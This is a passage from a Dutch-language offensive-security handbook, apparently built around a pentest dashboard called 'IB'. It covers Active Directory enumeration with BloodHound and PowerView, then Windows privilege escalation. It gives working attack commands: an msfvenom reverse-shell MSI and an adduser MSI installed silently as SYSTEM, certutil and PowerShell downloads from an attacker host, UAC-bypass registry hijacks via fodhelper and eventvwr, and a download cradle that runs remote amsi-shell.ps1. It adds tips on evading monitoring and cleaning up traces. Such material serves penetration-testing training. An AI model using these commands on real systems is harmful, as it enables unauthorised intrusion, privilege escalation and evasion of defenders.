Als je vanuit een Linux-machine werkt (bijvoorbeeld je aanvalsmachine), kun je ldapsearch gebruiken om LDAP-queries te doen:

# Anonieme LDAP bind (werkt zelden, maar probeer het altijd)
ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=local" "(objectClass=*)"

# Geauthenticeerde LDAP query
ldapsearch -x -H ldap://DC_IP -D "user@domain.local" -w 'PASSWORD' \
  -b "DC=domain,DC=local" "(objectCategory=user)" sAMAccountName

# Domain Admins opvragen
ldapsearch -x -H ldap://DC_IP -D "user@domain.local" -w 'PASSWORD' \
  -b "DC=domain,DC=local" \
  "(&(objectCategory=user)(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=local))" \
  sAMAccountName

# Wachtwoordbeleid opvragen
ldapsearch -x -H ldap://DC_IP -D "user@domain.local" -w 'PASSWORD' \
  -b "DC=domain,DC=local" "(objectClass=domainDNS)" \
  ms-DS-MachineAccountQuota minPwdLength lockoutThreshold

Die laatste query is bijzonder nuttig. ms-DS-MachineAccountQuota vertelt je hoeveel computer-accounts een gewone domeingebruiker mag aanmaken (standaard: 10). minPwdLength is de minimale wachtwoordlengte. lockoutThreshold is het aantal mislukte pogingen voordat een account wordt vergrendeld – cruciaal om te weten voordat je gaat sprayen (hoofdstuk 6).

windapsearch: de Python wrapper

# Domain Admins
windapsearch -d domain.local --dc-ip DC_IP -u user@domain.local -p PASSWORD --da

# Alle computers
windapsearch -d domain.local --dc-ip DC_IP -u user@domain.local -p PASSWORD --computers

# Alle groepen
windapsearch -d domain.local --dc-ip DC_IP -u user@domain.local -p PASSWORD --groups

IB Tip: LDAP filter 1.2.840.113556.1.4.803 is de bitwise AND operator. Als je het vergeet, zoek dan naar “LDAP matching rule OID” – het is een van die dingen die je elke keer opnieuw moet opzoeken, en dat is prima. Gebruik ook ldapsearch -LLL voor schonere output zonder commentaarregels en versie-informatie.

5.11 BloodHound: het vogelperspectief

De kaart van het koninkrijk

Als alle voorgaande secties het handmatig verkennen van individuele kamers waren, dan is BloodHound de drone die over het hele landgoed vliegt en een gedetailleerde luchtfoto maakt. Het is een tool die alle relaties in Active Directory verzamelt – groepslidmaatschappen, lokale admin-rechten, sessies, ACLs, trusts – en ze visualiseert als een graaf. Knooppunten zijn gebruikers, groepen, en computers. Verbindingen zijn relaties: “is lid van”, “heeft admin-rechten op”, “heeft een sessie op”, “kan het wachtwoord resetten van.”

En dan vraag je BloodHound: “Wat is het kortste pad van mijn huidige gebruiker naar Domain Admin?” En het antwoord is vaak korter dan je zou denken.

Data verzamelen met SharpHound

BloodHound heeft data nodig, en die data wordt verzameld door SharpHound (of de Python-versie bloodhound-python voor Linux).

# Methode 1: Alles verzamelen (meest complete, maar ook meest luidruchtige)
.\SharpHound.exe --CollectionMethods All --Domain domain.local --ExcludeDomainControllers --OutputDirectory C:\Windows\tasks

De --CollectionMethods All flag verzamelt alles: groepslidmaatschappen, lokale groepen op elke machine, actieve sessies, ACLs, trusts, SPNs, en meer. De --ExcludeDomainControllers flag is een stealth-maatregel: het voorkomt dat SharpHound inlogt op Domain Controllers, wat vaak wordt gemonitord.

De output gaat naar C:\Windows\tasks – een map die op elke Windows-machine bestaat en waar schrijven meestal is toegestaan, zelfs als je geen admin bent.

# Methode 2: Alleen DC-data (minder ruis, nog steeds nuttig)
.\SharpHound.exe --CollectionMethods DCOnly --Domain domain.local --OutputDirectory C:\Windows\tasks

DCOnly haalt alleen data op van de Domain Controller via LDAP. Het mist lokale admin-rechten en sessie-informatie, maar het is veel stiller en geeft je alsnog groepslidmaatschappen, ACLs, en trusts.

# Methode 3: Sessie-verzameling met looping
.\SharpHound.exe --CollectionMethods Session --Loop --Loopduration 02:00:00

Dit is slim. Sessies zijn vluchtig – een Domain Admin logt in, doet zijn werk, en logt weer uit. Als je op het verkeerde moment scant, mis je hem. Met --Loop draait SharpHound de sessie-collectie herhaaldelijk gedurende twee uur, waardoor je een veel completer beeld krijgt van wie waar inlogt.

# Methode 4: PowerShell-versie (als .exe geblokkeerd wordt)
powershell -c "Import-Module .\SharpHound.ps1; Invoke-BloodHound -CollectionMethod All -Domain domain.local -OutputDirectory C:\Windows\tasks"

En voor de Linux-aanvallers:

# Python-versie (vanuit je aanvalsmachine, geen tools op target nodig)
bloodhound-python -u user -p 'Password123!' -d domain.local -ns DC_IP -c All

De Python-versie is elegant: je hoeft niets te uploaden naar het doelnetwerk. Het draait op je eigen machine en doet alles via LDAP en RPC. Minder compleet dan SharpHound op een domein-joined machine, maar nul voetafdruk op het target.

BloodHound GUI: de grafieken interpreteren

Na het verzamelen upload je het .zip-bestand naar de BloodHound GUI (de Neo4j- gebaseerde interface). En dan begint het echte werk.

De voorgebouwde queries die je als eerste draait:

Query Wat het zoekt
Find Shortest Paths to Domain Admins Het kortste pad van elke gebruiker naar DA
Find All Kerberoastable Users Accounts met SPNs die je offline kunt kraken
Find AS-REP Roastable Users Accounts zonder pre-auth die je kunt aanvallen
Find Principals with DCSync Rights Wie kan alle hashes uit AD halen?
Shortest Path from Owned Principals Paden vanaf accounts die je al hebt gecompromitteerd

Die laatste query is je brood en boter. Elke keer dat je een account compromitteert, markeer je het als “owned” in BloodHound en draai je deze query opnieuw. Het is een iteratief proces: compromitteer, markeer, herbereken, kies het volgende doelwit.

IB Tip: --ExcludeDomainControllers voorkomt alerts op DC logons. De --Stealth optie vermindert detectie door minder queries te versturen. In een omgeving met actieve monitoring, begin met DCOnly, analyseer de resultaten, en doe pas een volledige scan als je weet dat het veilig is.

De realiteit van BloodHound-output

En hier een moment van eerlijkheid. In mijn ervaring – en de ervaring van elke pentester die ik ken – vindt BloodHound in 80% van de domeinen een pad naar Domain Admin binnen drie stappen. Drie. Stappen. Van een willekeurige domeingebruiker naar volledige controle over het hele netwerk.

Dat is niet omdat de tool zo goed is (hoewel hij dat is). Het is omdat de configuratie van de meeste Active Directory-omgevingen zo slecht is. Geneste groepen die niemand begrijpt. Lokale admin-rechten die ooit tijdelijk werden gegeven. ACLs die verkeerd staan omdat iemand “Grant Everyone Full Control” had aangevinkt om een probleem op te lossen. Het is een kaartenhuis.

5.12 IB Screen Terminal: interactieve enumeratie

Enumeratie via het dashboard

Het Incompetent Bastard dashboard biedt een Screen Terminal die je kunt gebruiken voor interactieve sessies op gecompromitteerde machines. Dit is bijzonder nuttig voor enumeratie, omdat veel van de commando’s in dit hoofdstuk iteratief zijn – je draait een commando, analyseert de output, en beslist op basis daarvan welk commando je daarna draait.

De Screen Terminal in IB geeft je een webgebaseerde interface naar je reverse shells en remote sessies. In combinatie met de command files die we in dit hoofdstuk hebben besproken, kun je enumeratie-commando’s direct vanuit het dashboard uitvoeren en de output real-time bekijken.

Het typische werkproces:

  1. Selecteer een actieve sessie in de Screen Terminal
  2. Kies een command file uit de IB-bibliotheek (bijv. enum_domain_users)
  3. Pas het commando aan voor de specifieke omgeving
  4. Voer uit en analyseer de output
  5. Gebruik de output om het volgende commando te kiezen

Dit is waar het dashboard zijn waarde bewijst ten opzichte van losse tools. Alles staat op een plek: je sessies, je command files, je output. Geen geswitsch tussen terminals, geen verloren output, geen “wacht, in welk venster had ik die query gedraaid?”

IB Tip: Gebruik de Output-pagina van IB om enumeratie-resultaten op te slaan. Grote outputs (zoals volledige user- of computerlijsten) kun je later doorzoeken zonder het commando opnieuw te hoeven draaien. Dit bespaart tijd en vermindert je voetafdruk op het doelnetwerk.

5.13 De ongemakkelijke waarheid: over Domain Admins en verantwoordelijkheid

Laten we het even hebben over de olifant in de kamer. Of beter gezegd: de twintig olifanten in de kamer, want dat is ongeveer het aantal Domain Admin-accounts in een gemiddeld middelgroot bedrijf.

Twintig Domain Admins. In een organisatie van driehonderd man. Dat is bijna zeven procent van de werknemers met de sleutels van het koninkrijk. Stel je voor dat zeven procent van de medewerkers van een bank de code van de kluis had. Stel je voor dat zeven procent van de medewerkers van een kerncentrale de lanceercode kende. Maar in IT is het normaal.

En het mooiste is: als je vraagt waarom iemand Domain Admin is, krijg je antwoorden als:

Het principe van least privilege – geef mensen alleen de rechten die ze nodig hebben voor hun werk – is niet nieuw. Het is niet controversieel. Het staat in elke security standaard, elk framework, elk handboek. Het wordt onderwezen in elke security-cursus. En het wordt genegeerd in elke organisatie.

Waarom? Omdat het makkelijker is om iemand Domain Admin te maken dan om uit te zoeken welke specifieke rechten hij nodig heeft. Omdat het makkelijker is om “ja” te zeggen tegen een collega die klaagt dat iets niet werkt dan om het juiste rechtenmodel te configureren. Omdat gemak altijd wint van security, tenzij er actief wordt gehandhaafd.

En zo eindig je met een netwerk waar de helft van de IT-afdeling Domain Admin is, waar service accounts met wachtwoorden die nooit verlopen in de Domain Admins-groep zitten, en waar de description van die accounts letterlijk het wachtwoord bevat. En dan huurt men een pentester in en zegt: “Test ons netwerk maar, we zijn benieuwd hoe veilig we zijn.”

Ik zal je vertellen hoe veilig jullie zijn. Ik had Domain Admin binnen vier uur, en twee daarvan heb ik besteed aan koffie drinken en mijn rapport alvast opmaken.

5.14 Referentietabel: alle enumeratie-commando’s

Lokale enumeratie

Doel Commando Tool
Huidige user whoami Ingebouwd
Privileges whoami /priv Ingebouwd
Groepen whoami /groups Ingebouwd
User details net user %USERNAME% Ingebouwd
Systeem info systeminfo Ingebouwd
Alle privesc checks Invoke-AllChecks PowerUp
Unquoted paths Get-ServiceUnquoted PowerUp
Schrijfbare binaries Get-ModifiableServiceFile PowerUp
Wijzigbare services Get-ModifiableService PowerUp
Volledige scan .\winPEASx64.exe WinPEAS
Privesc check Invoke-PrivescCheck -Extended PrivescCheck
AlwaysInstallElevated reg query HKLM\...\Installer /v AlwaysInstallElevated Ingebouwd

Domain gebruikers

Doel Commando Tool
Alle users Get-DomainUser \| select samaccountname,description,memberof PowerView
Actieve users Get-DomainUser -Properties samaccountname,logonCount \| sort logonCount -Descending PowerView
Wachtwoorden in description Get-DomainUser -LDAPFilter "Description=*pass*" PowerView
Alle users (AD Module) Get-ADUser -Filter * -Properties * AD Module
Alle users (LDAP raw) ([adsisearcher]'(objectCategory=user)').FindAll() .NET

Domain groepen

Doel Commando Tool
Alle groepen Get-DomainGroup \| select Name PowerView
Admin groepen Get-DomainGroup *admin* PowerView
DA leden (recursief) Get-DomainGroupMember -Identity "Domain Admins" -Recurse PowerView
DA leden (AD Module) Get-ADGroupMember -Identity "Domain Admins" -Recursive AD Module
User groepen Get-DomainGroup -UserName "targetuser" PowerView

Domain computers

Doel Commando Tool
Alle computers Get-DomainComputer \| select Name,OperatingSystem,DNSHostName PowerView
Specifiek OS Get-DomainComputer -OperatingSystem "*Server 2022*" PowerView
Online machines Get-DomainComputer -Ping PowerView
Unconstrained delegation Get-DomainComputer -UnConstrained PowerView
Constrained delegation Get-DomainComputer -TrustedToAuth PowerView

Domain trusts

Doel Commando Tool
Alle trusts Get-DomainTrust PowerView
Alle trusts (AD Module) Get-ADTrust -Filter * AD Module
Forest info Get-Forest PowerView
Forest domeinen Get-ForestDomain PowerView
Forest trusts Get-ForestTrust PowerView
Forest (AD Module) Get-ADForest \| select Domains,GlobalCatalogs AD Module

GPO enumeratie

Doel Commando Tool
Alle GPOs Get-DomainGPO \| select DisplayName,Name PowerView
GPOs op computer Get-DomainGPO -ComputerIdentity target PowerView
Restricted groups Get-DomainGPOLocalGroup PowerView
Local admin via GPO Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity target PowerView
User admin locaties Get-DomainGPOUserLocalGroupMapping -Identity user PowerView
OUs Get-DomainOU \| select Name,DistinguishedName PowerView

Share enumeratie

Doel Commando Tool
Alle shares Invoke-ShareFinder -Verbose PowerView
Gevoelige bestanden Invoke-FileFinder -Verbose PowerView
File servers Get-NetFileServer PowerView
Lokale groepen Get-NetLocalGroup -ComputerName target PowerView
Lokale admins Get-NetLocalGroupMember -ComputerName target -GroupName Administrators PowerView

User hunting

Doel Commando Tool
Waar ben ik admin? Find-LocalAdminAccess -Verbose PowerView
Via WMI Find-WMILocalAdminAccess PowerView
Via PSRemoting Find-PSRemotingLocalAdminAccess PowerView
DA sessies Find-DomainUserLocation -Verbose PowerView
DA + admin check Find-DomainUserLocation -CheckAccess PowerView
Stealth Find-DomainUserLocation -Stealth PowerView

ACL enumeratie

Doel Commando Tool
Interessante ACLs Find-InterestingDomainAcl -ResolveGUIDs PowerView
ACLs op object Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs PowerView
DCSync rechten Get-DomainObjectAcl -SearchBase 'DC=domain,DC=local' -ResolveGUIDs \| ?{$_.ObjectAceType -match 'Replicating'} PowerView
GenericWrite targets Find-InterestingDomainAcl -ResolveGUIDs \| ?{$_.ActiveDirectoryRights -match 'GenericWrite'} PowerView
Object owner Get-DomainObjectAcl -Identity targetuser \| Select Owner PowerView

LDAP raw queries

Doel Commando Tool
Alle users ([adsisearcher]'(objectCategory=user)').FindAll() .NET
Kerberoastable ([adsisearcher]'(&(objectCategory=user)(servicePrincipalName=*))').FindAll() .NET
AS-REP Roastable ([adsisearcher]'...userAccountControl:1.2.840.113556.1.4.803:=4194304...') .NET
Disabled accounts ([adsisearcher]'...userAccountControl:1.2.840.113556.1.4.803:=2...') .NET
Password never expires ([adsisearcher]'...userAccountControl:1.2.840.113556.1.4.803:=65536...') .NET
Linux: alle users ldapsearch -x -H ldap://DC -D user -w pass -b "DC=d,DC=l" "(objectCategory=user)" ldapsearch
Python: DA windapsearch -d domain.local --dc-ip DC -u user -p pass --da windapsearch

BloodHound

Doel Commando Tool
Volledige collectie .\SharpHound.exe --CollectionMethods All --Domain domain.local --ExcludeDomainControllers SharpHound
DC only .\SharpHound.exe --CollectionMethods DCOnly SharpHound
Sessie loop .\SharpHound.exe --CollectionMethods Session --Loop --Loopduration 02:00:00 SharpHound
PowerShell versie Invoke-BloodHound -CollectionMethod All SharpHound.ps1
Python versie bloodhound-python -u user -p pass -d domain.local -ns DC_IP -c All bloodhound-python

5.15 Samenvatting: de enumeratie-checklist

Voordat je naar het volgende hoofdstuk gaat, controleer of je het volgende hebt:

Als je dit allemaal hebt, heb je een vollediger beeld van het netwerk dan de meeste systeembeheerders die er dagelijks in werken. En dat is niet als compliment bedoeld naar jou – het is een aanklacht tegen de staat van IT-beheer in de meeste organisaties.

In het volgende hoofdstuk gaan we deze informatie gebruiken. We gaan wachtwoorden kraken, sprayen, en roasten. We gaan die misconfiguraties die we zojuist hebben gevonden exploiteren. We gaan van “ik weet wie de Domain Admins zijn” naar “ik ben een Domain Admin.”

Maar dat is voor later. Nu eerst: sla je enumeratie-data op, drink een kop koffie, en bestudeer je BloodHound-grafieken. Het antwoord zit erin. Het zit er altijd in.

“Reconnaissance is the most important phase of any engagement. Unfortunately, it’s also the most boring, which is why most people skip it and then wonder why they failed.”

— Een pentester die het weet

Privilege Escalatie

Privilege Escalatie

Van loopjongen tot directeur

Er is een ongeschreven wet in de westerse samenleving die stelt dat je positie op de maatschappelijke ladder evenredig is met de omvang van je ego en omgekeerd evenredig met je kennis van wat de mensen onder je eigenlijk doen. De liftbediende weet precies hoe het gebouw functioneert. De CEO weet niet eens waar de lift is. En toch heeft die laatste alle sleutels.

In computersystemen werkt het op een verontrustend vergelijkbare manier. Je landt op een machine als onbeduidende gebruiker – de digitale equivalent van de stagiair die koffie haalt – en vervolgens klim je, stap voor stap, naar een positie waarop je alles mag, alles kan, en alles kunt vernietigen. Het verschil met de echte wereld is dat je er op een computer misschien twintig minuten over doet in plaats van twintig jaar. En je hoeft niet eens te netwerken op verjaardagen.

Privilege escalatie is, in essentie, het vinden van een manier om rechten te verkrijgen die je niet zou moeten hebben. En het mooie – of het deprimerende, afhankelijk van je perspectief – is dat de meeste systemen je dit op een zilveren dienblad aanbieden. Niet omdat de technologie inherent slecht is, maar omdat de mensen die het beheren het equivalent zijn van een nachtwaker die de sleutelbos aan de deurkruk laat hangen.

Laten we het even cynisch formuleren: “Iedereen heeft local admin. Niemand weet waarom. En als je vraagt waarom, krijg je het antwoord: ‘Dat hebben we altijd zo gedaan.’ Dat is geen beleid. Dat is een bekentenis.”

Laten we eens kijken hoe je van loopjongen tot directeur klimt, zowel op Windows als op Linux.

Deel 1: Windows Privilege Escalation

Windows privilege escalation is een vakgebied dat je met recht een ambacht kunt noemen. Het vereist geduld, systematisch zoeken, en een intieme kennis van de vele – je zou bijna zeggen eindeloze – manieren waarop Windows verkeerd geconfigureerd kan worden. Het is alsof je in een oud Victoriaans huis komt wonen en ontdekt dat elke kamer een verborgen gangpad heeft. De vorige bewoners wisten het, maar ze hebben het nooit aan iemand verteld.

6.1 Lokale enumeratie: de basis

Voordat je ergens naartoe kunt klimmen, moet je weten waar je staat. En precies hier begint elke privilege escalation aanval: met enumeratie.

De fundamentele vragen zijn simpel:

  1. Wie ben ik?
  2. Wat mag ik?
  3. Wat draait er op deze machine?
  4. Wat is er verkeerd geconfigureerd?

Laten we beginnen met de basis:

:: Wie ben ik en welke groepen?
whoami
whoami /priv
whoami /groups
net user %USERNAME%

:: Lokale groepen en leden
net localgroup
net localgroup Administrators

:: Systeem informatie
systeminfo
hostname

De output van whoami /priv is goud waard. Bepaalde privileges zijn directe escalatiepaden:

Privilege Risico Uitleg
SeImpersonatePrivilege Hoog Token impersonation (Potato, PrintSpoofer)
SeAssignPrimaryToken Hoog Idem, via primary token toewijzing
SeBackupPrivilege Hoog Kan alle bestanden lezen (SAM, NTDS.dit)
SeRestorePrivilege Hoog Kan alle bestanden schrijven
SeDebugPrivilege Hoog Kan processen injecteren (Mimikatz)
SeTakeOwnershipPrivilege Hoog Eigenaar worden van elk object
SeLoadDriverPrivilege Hoog Kernel driver laden

Dit is je routekaart. Als je SeImpersonatePrivilege ziet, weet je dat Potato- aanvallen een optie zijn. Als je SeDebugPrivilege ziet, glimlach je naar Mimikatz. Het is als een menukaart, maar dan van je escalatieopties.

Services enumereren

Services zijn een van de meest voorkomende escalatiepaden op Windows. Ze draaien vaak als SYSTEM, en als je een writable binary, een unquoted path, of een verkeerd geconfigureerde service vindt, is het feest.

:: Alle services en hun paden
sc query state= all
wmic service get name,displayname,pathname,startmode

:: Specifiek: zoek auto-start services buiten C:\Windows
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\"
# PowerShell variant - meer details
Get-WmiObject win32_service | Select-Object Name, StartMode, PathName, StartName |
    Where-Object { $_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows\*" } |
    Format-Table -AutoSize

Scheduled tasks

Scheduled tasks zijn de cron jobs van Windows, maar dan met de charme van een bureaucratische nachtmerrie:

:: Alle taken met details
schtasks /query /fo LIST /v

:: Filter op wat interessant is
schtasks /query /fo LIST /v | findstr /i "task to run\|run as user"

Zoek taken die als SYSTEM of als een geprivilegieerde gebruiker draaien, en waarvan het script of binary writable is voor jouw gebruiker.

Registry jacht

De Windows registry is een labyrint van configuratie, en midden in dat labyrint liggen soms de sleutels tot het koninkrijk – letterlijk:

:: Zoek naar wachtwoorden in de registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

:: Autologon credentials (een klassieker)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

:: Opgeslagen credentials
cmdkey /list

:: Zoek naar interessante software-configuratie
reg query "HKLM\SOFTWARE" /s | findstr /i "password\|passwd\|pwd"

Autologon credentials in de registry zijn als het wachtwoord op een Post-it aan de monitor. Iedereen die kijkt kan het lezen. Maar niemand kijkt, want niemand denkt dat iemand zo dom zou zijn. En toch.

IB Tip: Het IB enum_privesc_local command in de Commands-pagina combineert PowerUp, WinPEAS en handmatige checks. Het is je one-stop-shop voor lokale enumeratie. Gebruik het als startpunt voor elke Windows privilege escalation.

6.2 WinPEAS: de alziende

Als je handmatig enumereren vergelijkt met het doorbladeren van een telefoonboek, dan is WinPEAS het equivalent van Google. Het doorzoekt alles, markeert alles, en presenteert het in kleurrijke output die eruitziet alsof een regenboog op je terminal heeft overgegeven. Maar het werkt verdomd goed.

WinPEAS (Windows Privilege Escalation Awesome Scripts) is een enumeratietool die honderden privilege escalation checks uitvoert in een keer. Het zoekt naar verkeerde serviceconfiguraties, writable paden, opgeslagen credentials, registry- misconfiguraties, en nog veel meer.

Tool leveren via IB

Het eerste probleem: je moet WinPEAS op het target krijgen. IB heeft hier een kant-en-klaar command voor.

IB Command: get_winpeasx64 Downloadt WinPEAS naar het target via de IB webserver.

# IB get_winpeasx64 command
powershell -c (new-object System.Net.WebClient).DownloadFile(
    'http://10.0.0.1/tools/winPEASx64.exe',
    'c:\windows\tasks\winPEASx64.exe'
)

Merk op dat we C:\Windows\Tasks gebruiken als landingszone. Dit is een veelgebruikte tactiek: de map bestaat altijd, is writable voor normale gebruikers, en wordt minder in de gaten gehouden dan de desktop of de Downloads-map. Het is het digitale equivalent van je spullen verstoppen in de bezemkast.

WinPEAS draaien

:: Volledige scan
.\winPEASx64.exe

:: Alleen service-informatie
.\winPEASx64.exe servicesinfo

:: Alleen gebruikersinformatie
.\winPEASx64.exe userinfo

De output is enorm. WinPEAS kleurt kritieke bevindingen rood, verdachte zaken geel, en informatieve items groen. Waar je specifiek naar zoekt:

IB Tip: De Commands-pagina in het IB dashboard (/dashboard/commands) toont alle beschikbare commands. Klik op get_winpeasx64 om het download-command te kopieren en op het target te plakken. Geen gedoe met typen.

6.3 AlwaysInstallElevated

Dit is een van die Group Policy-instellingen waarvan je je afvraagt welke beslissingsboom er precies toe heeft geleid dat iemand dacht: “Ja, laten we iedere gebruiker in staat stellen om software als SYSTEM te installeren. Wat kan er misgaan?”

Het antwoord is: alles. Alles kan er misgaan.

AlwaysInstallElevated is een policy die, wanneer ingeschakeld in zowel HKCU als HKLM, elke .msi installer laat draaien met NT AUTHORITY\SYSTEM rechten. Het maakt niet uit wie je bent. Het maakt niet uit wat de MSI doet. Het is alsof je elke willekeurige persoon op straat de sleutel geeft tot de kluizen van de bank, op voorwaarde dat ze een doos vasthouden.

Detectie

IB Command: privesc_alwaysinstall Detecteert en exploiteert AlwaysInstallElevated.

:: Check beide registry keys - BEIDE moeten op 1 staan
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Als beide waarden 0x1 teruggeven, is de policy actief. Je kunt ook PowerUp gebruiken:

# Via PowerUp
Import-Module .\PowerUp.ps1
Get-RegistryAlwaysInstallElevated

Exploitatie

Het exploitatiepad is brutaal eenvoudig:

Stap 1: Genereer een malicious MSI op je aanvalsmachine:

# Reverse shell MSI
msfvenom -p windows/x64/shell_reverse_tcp \
    LHOST=10.0.0.1 LPORT=443 \
    -f msi -o evil.msi

Stap 2: Upload naar het target:

certutil -urlcache -f http://10.0.0.1/evil.msi C:\Windows\tasks\evil.msi

Stap 3: Installeer – stil, zonder UI, als SYSTEM:

msiexec /quiet /qn /i C:\Windows\tasks\evil.msi

De flags /quiet /qn zorgen ervoor dat er geen enkele dialoog verschijnt. Geen “Wilt u installeren?”, geen voortgangsbalk, niets. Stille escalatie in drie commando’s.

Er is ook een alternatieve payload die direct een gebruiker toevoegt:

# Gebruiker toevoegen via MSI
msfvenom -p windows/adduser USER=hacker PASS=Hacked123! -f msi -o adduser.msi

Opruimen

Na afloop ruim je je sporen op:

msiexec /quiet /qn /x C:\Windows\tasks\evil.msi
del C:\Windows\tasks\evil.msi

IB Tip: AlwaysInstallElevated wordt ook gevonden door Invoke-AllChecks van PowerUp (onderdeel van het enum_privesc_local command). Het is een van de eerste dingen die je checkt na landing.

6.4 UAC Bypass

User Account Control, of UAC, is Microsoft’s antwoord op de vraag “Hoe beschermen we gebruikers tegen zichzelf?” Het antwoord bleek te zijn: door ze elke vijf minuten een popup te laten wegklikken totdat ze het concept van beveiliging associeren met irritatie, en elke prompt reflexmatig goedkeuren zonder te lezen.

UAC is bedoeld als beschermingslaag tussen een administrator-account en daadwerkelijke administrator-rechten. Zelfs als je lid bent van de lokale Administrators-groep, draaien je processen standaard met beperkte rechten. Je moet expliciet “Run as administrator” kiezen of een UAC-prompt goedkeuren om elevated rechten te krijgen.

Het probleem? Er zijn tientallen manieren om die prompt te omzeilen.

De aanvalsvereiste

UAC bypass werkt alleen als je gebruiker al lid is van de Administrators- groep. Het is geen escalatie van standaard-gebruiker naar admin – het is escalatie van admin-zonder-elevation naar admin-met-elevation. Een subtiel maar belangrijk verschil.

Check het UAC-niveau

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin

De waarde vertelt je hoe streng UAC is geconfigureerd:

Waarde Betekenis Bypass mogelijk?
0 Geen prompt (UAC effectief uit) Niet nodig
1 Credentials vragen op secure desktop Moeilijk
2 Consent vragen op secure desktop Moeilijk
5 Default – consent voor non-Windows binaries Ja

De standaardinstelling (5) is kwetsbaar voor de meeste bypass-methoden. Alleen “Always Notify” (2) is enigszins bestand, en zelfs dat is geen garantie.

IB Command: privesc_uac_bypass Vier methoden voor UAC bypass op Windows 10/11.

Methode 1: fodhelper.exe (Windows 10/11)

fodhelper.exe is een auto-elevating binary – het wordt automatisch met elevated rechten gestart zonder UAC-prompt. Door een registry key te manipuleren, kun je fodhelper een willekeurig commando laten uitvoeren:

:: Stel het commando in dat uitgevoerd moet worden
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f

:: Trigger de bypass
fodhelper.exe

:: Opruimen na gebruik
REG DELETE HKCU\Software\Classes\ms-settings /f

Wat hier gebeurt: fodhelper.exe kijkt naar de registry voor de handler van het ms-settings protocol. Door HKCU\Software\Classes\ms-settings te overschrijven, redirect je de uitvoering naar je eigen commando. En omdat fodhelper.exe auto-elevated is, draait jouw commando ook elevated.

Het is alsof je de butler vertelt dat de nieuwe instructies van de heer des huizes zijn. De butler controleert niet. De butler voert uit.

Methode 2: eventvwr.exe (Windows 10)

Hetzelfde principe, maar via Event Viewer:

REG ADD HKCU\Software\Classes\mscfile\Shell\Open\command /d "cmd.exe" /f
REG ADD HKCU\Software\Classes\mscfile\Shell\Open\command /v DelegateExecute /t REG_SZ /f

eventvwr.exe

:: Opruimen
REG DELETE HKCU\Software\Classes\mscfile /f

Methode 3: computerdefaults.exe met payload

Deze variant combineert de bypass met het laden van een remote payload:

REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/payloads/amsi-shell.ps1')" /f
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f

computerdefaults.exe

Dit is de variant die je in de praktijk het meest zult gebruiken: UAC bypass gecombineerd met een download cradle die je payload binnenhaalt. De payload draait elevated, met AMSI bypass, in een enkele stap.

Methode 4: UACME

Voor als je het serieus wilt aanpakken, bestaat UACME – een verzameling van meer dan 70 UAC bypass methoden:

:: Methode 23 met custom payload
Akagi64.exe 23 C:\Windows\tasks\payload.exe

IB Tip: fodhelper.exe is de meest betrouwbare bypass op moderne Windows. Werkt op Windows 10 en 11, en wordt zelden gepatcht omdat Microsoft UAC niet als security boundary beschouwt. Ja, je leest het goed. Microsoft zegt letterlijk dat UAC geen beveiligingsgrens is. Het is een “convenience feature.” Stel je voor dat de fabrikant van je voordeurslot zegt: “Het is eigenlijk geen beveiliging, het is een gemak.”

6.5 Unquoted Service Paths

Dit is misschien wel de meest elegante misconfiguratie in de Windows-wereld. Het is zo subtiel dat je het drie keer moet lezen om te begrijpen waarom het een probleem is, en daarna sla je jezelf voor het hoofd dat het zo simpel is.

Wanneer Windows een service start, zoekt het naar het executable bestand via het pad dat in de service-configuratie staat. Als dat pad spaties bevat en niet tussen aanhalingstekens staat, interpreteert Windows het pad stap voor stap:

Stel, het service-pad is:

C:\Program Files\My Application\Service App\service.exe

Windows probeert achtereenvolgens:

  1. C:\Program.exe
  2. C:\Program Files\My.exe
  3. C:\Program Files\My Application\Service.exe
  4. C:\Program Files\My Application\Service App\service.exe

Als je schrijfrechten hebt op een van die tussenliggende locaties, kun je een malicious executable plaatsen met de juiste naam, en Windows start die in plaats van de originele service – als SYSTEM.

Detectie

:: Zoek unquoted service paths
wmic service get name,displayname,pathname,startmode |
    findstr /i "auto" |
    findstr /i /v "C:\Windows\\" |
    findstr /i /v """
# Via PowerUp
Import-Module .\PowerUp.ps1
Get-ServiceUnquoted -Verbose

Exploitatie

:: Stel: kwetsbaar pad is C:\Program Files\Vulnerable App\service.exe
:: Check schrijfrechten op C:\Program Files\Vulnerable App\
icacls "C:\Program Files\Vulnerable App\"

:: Plaats payload (vervangt "service" in "Vulnerable App\service.exe")
:: Windows probeert eerst: C:\Program Files\Vulnerable.exe
copy payload.exe "C:\Program Files\Vulnerable.exe"

:: Herstart de service
sc stop VulnerableService
sc start VulnerableService

Dit is een van die bugs die je alleen kunt beschrijven met een mengeling van verwondering en ongeloof. Het pad-parsing gedrag bestaat al sinds Windows NT. Het is al meer dan dertig jaar oud. En toch verschijnt het nog steeds in pentest-rapporten. Keer op keer. Alsof niemand het memo heeft gelezen. Of alsof het memo zelf een unquoted path had.

6.6 DLL Hijacking

DLL hijacking is het concept waarbij je een kwaadaardige DLL plaatst op een locatie waar een applicatie eerder zoekt dan de locatie van de legitieme DLL. Het is het digitale equivalent van een wegomleiding: je stuurt het verkeer via jouw straat in plaats van de snelweg.

Windows zoekt DLL’s in een specifieke volgorde (de DLL Search Order):

  1. De directory van de applicatie
  2. C:\Windows\System32
  3. C:\Windows\System
  4. C:\Windows
  5. De huidige werkdirectory
  6. Directories in de PATH variabele

